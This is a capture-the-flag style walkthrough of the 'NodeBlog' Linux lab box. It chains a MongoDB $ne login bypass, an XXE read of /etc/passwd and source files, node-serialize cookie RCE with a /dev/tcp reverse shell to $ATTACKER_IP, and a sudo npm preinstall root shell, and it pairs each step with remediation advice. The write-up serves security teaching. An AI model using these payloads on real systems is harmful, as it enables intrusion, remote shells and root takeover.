← all walkthroughs

NodeBlog

Linux· Easy
owned
2026-07-06
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found only two open services: SSH restricted to public-key login and a Node.js Express web application on TCP port 5000. The login page was vulnerable to MongoDB NoSQL injection — substituting a query-operator object for the password field authenticated as admin without knowing the real password. An XML article-upload endpoint parsed my own XML with external entities enabled, letting me read the server source code and confirm the auth cookie was deserialized with the unsafe node-serialize library.

By embedding a self-invoking JavaScript function in a forged cookie I triggered remote code execution as the application user and captured the user flag. On the local host the admin account had an unrestricted sudo rule for npm; npm lifecycle hooks ran my own shell commands as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export ND_FUNC="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconNetwork port scanning and HTTP service fingerprinting
Port scan identified the Node.js web application as the primary attack surface
A service scan of $TARGET revealed two open ports: 22/tcp running OpenSSH 8.2p1 (public-key authentication only, making direct credential brute-force impractical) and 5000/tcp serving an HTTP application. An HTTP probe returned an X-Powered-By: Express header, identifying a Node.js web application as the sole entry point.
Exact commands 2
Confirm open ports and service versions.
nmap -Pn -sV -p 22,5000 --min-rate 5000 $TARGET
Fingerprint the web framework via response headers.
curl -i http://$TARGET:5000/
2Initial AccessNoSQL injection — MongoDB operator injection (CWE-943)
Bypassed login entirely using a MongoDB NoSQL injection operator
The POST /login endpoint accepted a JSON body and placed the password field directly into a MongoDB query without type-checking. Replacing the password string with the JSON object {"$ne":"[REDACTED: recovered credential]"} injected a 'not equal' operator into the query, causing MongoDB to match the admin account because its password is not equal to that value. The server responded with an auth cookie encoding the admin username and an HMAC-like sign value — no valid password was ever needed.
Exact commands 1
The $ne operator bypasses password comparison; copy the full auth cookie value from the Set-Cookie header in the response.
curl -i -X POST http://$TARGET:5000/login -H 'Content-Type: application/json' -d '{"user":"admin","password":{"$ne":"$PASSWORD"}}'
FixSanitize login inputs to block MongoDB operator injectionCritical
WeaknessThe /login endpoint placed the client-supplied password value directly into a MongoDB query without type-checking, allowing an unauthorised user to substitute a query-operator object for a string and authenticate as any account without knowing its password.
FixValidate at the API boundary that all login fields are plain strings — reject any value where typeof !== 'string' before it reaches the database. Use a schema-validation library (Joi or Zod) or an ODM such as Mongoose with strict schema typing so object-type values are rejected before the query executes. As defence in depth, consider MongoDB's $type operator or query projection to enforce expected field types server-side as well.
3DiscoveryXML External Entity (XXE) injection (CWE-611)
Read server source code via XML External Entity injection on the article upload endpoint
An endpoint at /articles/xml accepted authenticated XML submissions representing blog articles. Because the Node.js XML parser had external entity processing enabled, embedding a DOCTYPE declaration with an entity pointing to a local file path caused the parser to fetch that file and embed its content in the response. My first confirmed the primitive by reading /etc/passwd, then retrieved the server source file to confirm the auth cookie was passed through node-serialize's unserialize() function — the detail that made the next step possible.
Exact commands 1
Reads /etc/passwd as an XXE proof. Swap the SYSTEM path for the app source file (e.g. File:///opt/blog/server.js) to confirm node-serialize usage.
curl -s -X POST http://$TARGET:5000/articles/xml -H 'Content-Type: application/xml' -H 'Cookie: auth=$PASSWORD2' --data-binary '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><post><author>&file;</author><title>x</title><content>x</content></post>'
FixDisable XML external entity processing on the article upload endpointHigh
WeaknessThe /articles/xml endpoint parsed externally supplied XML with external entity processing enabled, letting an unauthorised user instruct the parser to read arbitrary local files — including the server source code — and embed their contents in the HTTP response.
FixConfigure the XML parser to disallow DOCTYPE declarations and external entities (pass the NOENT and NONET flags in libxml2-based parsers; set resolveEntities: false in xml2js or equivalent). If structured article input is required, accept JSON instead of XML and eliminate the XML parser entirely. If XML cannot be avoided, apply a strict allowlist of permitted element names and strip or reject any input containing DOCTYPE or ENTITY declarations.
4ExploitationInsecure deserialization — node-serialize remote code execution (CVE-2017-5941)
Triggered remote code execution by embedding a JavaScript payload in the session cookie
The node-serialize library's unserialize() function evaluates any JSON value whose string begins with the prefix _$$ND_FUNC$$_ as a live JavaScript function literal. Because the application called unserialize() on the raw auth cookie without validation, adding a key with that prefix and a self-invoking function caused the Node.js process to execute arbitrary OS commands on every request. A Python script built the malicious cookie, URL-encoded it, and sent it as the Cookie header, achieving code execution as the application's admin user.
Cookie payload with _$$ND_FUNC$$_ function successfully wrote id output to /tmp/nb_rce_test.
Exact commands 2
Proof-of-concept: confirm execution by reading /tmp/nb_rce_test back via a follow-up XXE call or a second RCE command that copies it to a readable location.
python3 - <<'PY'
import requests, urllib.parse, json
cmd = 'id > /tmp/nb_rce_test'
p = {'user': 'admin', 'sign': '$PASSWORD3',
     'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PY
Replace $ATTACKER_IP with your listener's IP; run nc -lvnp 4444 beforehand to receive the interactive reverse shell.
python3 - <<'PY'
import requests, urllib.parse, json
# Start listener first: nc -lvnp 4444
cmd = 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
p = {'user': 'admin', 'sign': '$PASSWORD3',
     'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PY
FixReplace insecure cookie deserialization with safe structured parsingCritical
WeaknessThe application deserialized the auth cookie with node-serialize, which evaluates any embedded string prefixed with _$$ND_FUNC$$_ as a JavaScript function. Anyone who can write any cookie value can inject code that runs on the server on every authenticated request, bypassing the sign field entirely.
FixNever pass untrusted session data through an eval-capable deserialization library. Use JSON.parse() to decode the cookie and validate each field against an explicit schema (user must be a non-empty string; sign must be a 32-character hex string matching a server-computed HMAC). Better still, replace the hand-rolled cookie with a standard signed-session library — express-session with a server-side secret or the cookie-session package — which never deserializes arbitrary objects and cryptographically ties the session to the server secret.
5Post-ExploitationOS command execution — local file exfiltration
Read the user flag from the admin home directory
With code execution established as the admin service account, I staged the user flag to /tmp — a path confirmed readable via previous XXE file-read tests — and retrieved it via a second RCE invocation. The flag resided at /home/admin/user.txt.
RCE command cat /home/admin/user.txt > /tmp/userflag executed successfully; flag value confirmed.
Exact commands 1
Stages user.txt to /tmp/userflag; retrieve by reading /tmp/userflag via XXE or cat in the interactive shell. Flag value: <user.txt>.
python3 - <<'PY'
import requests, urllib.parse, json
cmd = 'cat /home/admin/user.txt > /tmp/userflag'
p = {'user': 'admin', 'sign': '$PASSWORD3',
     'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PY
6Privilege EscalationSudo privilege escalation via npm lifecycle hook (GTFOBins, MITRE ATT&CK T1548.003)
Escalated to root by exploiting an unrestricted sudo rule for npm
Running sudo -l as the admin user revealed the account could execute /usr/bin/npm as root with no password required. Npm runs lifecycle scripts declared in package.json — preinstall, install, postinstall — as the invoking user. Creating a minimal package.json with a preinstall script that spawned /bin/bash, then running sudo npm install in that directory, caused npm to execute the script as root and deliver a root-level interactive shell.
Exact commands 2
From the admin shell — confirm (root) NOPASSWD: /usr/bin/npm is listed.
sudo -l
The preinstall hook runs /bin/bash as root; --unsafe-perm preserves the root UID during script execution.
mkdir /tmp/npmpe && cd /tmp/npmpe && echo '{"scripts":{"preinstall":"/bin/bash"}}' > package.json && sudo npm install --unsafe-perm
FixRemove npm and all package managers from the sudoers allowed-commands listCritical
WeaknessThe admin account was permitted to run /usr/bin/npm as root without a password. npm executes lifecycle scripts as the invoking user, so any local user who can call npm via sudo can run arbitrary commands as root by placing a crafted package.json in a directory they control.
FixRemove the npm sudo rule from /etc/sudoers or the relevant drop-in file in /etc/sudoers.d/ (edit with visudo to prevent syntax errors). Audit all remaining sudo rules and apply the principle of least privilege: the web application service account should have no sudo rights at all. Never allow package managers, scripting interpreters, text editors, or file-transfer tools in sudoers — they all provide trivial root escalation paths catalogued at GTFOBins.
7Full CompromisePrivileged file access as root
Read the root flag, confirming unrestricted system control
The npm preinstall hook spawned an interactive root shell, granting unrestricted access to every file on the system. The root flag was read directly from /root/root.txt, completing full compromise of the host from an unauthenticated starting position.
Exact commands 1
Run as root in the npm-spawned shell; flag value placeholder: <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
5000/tcp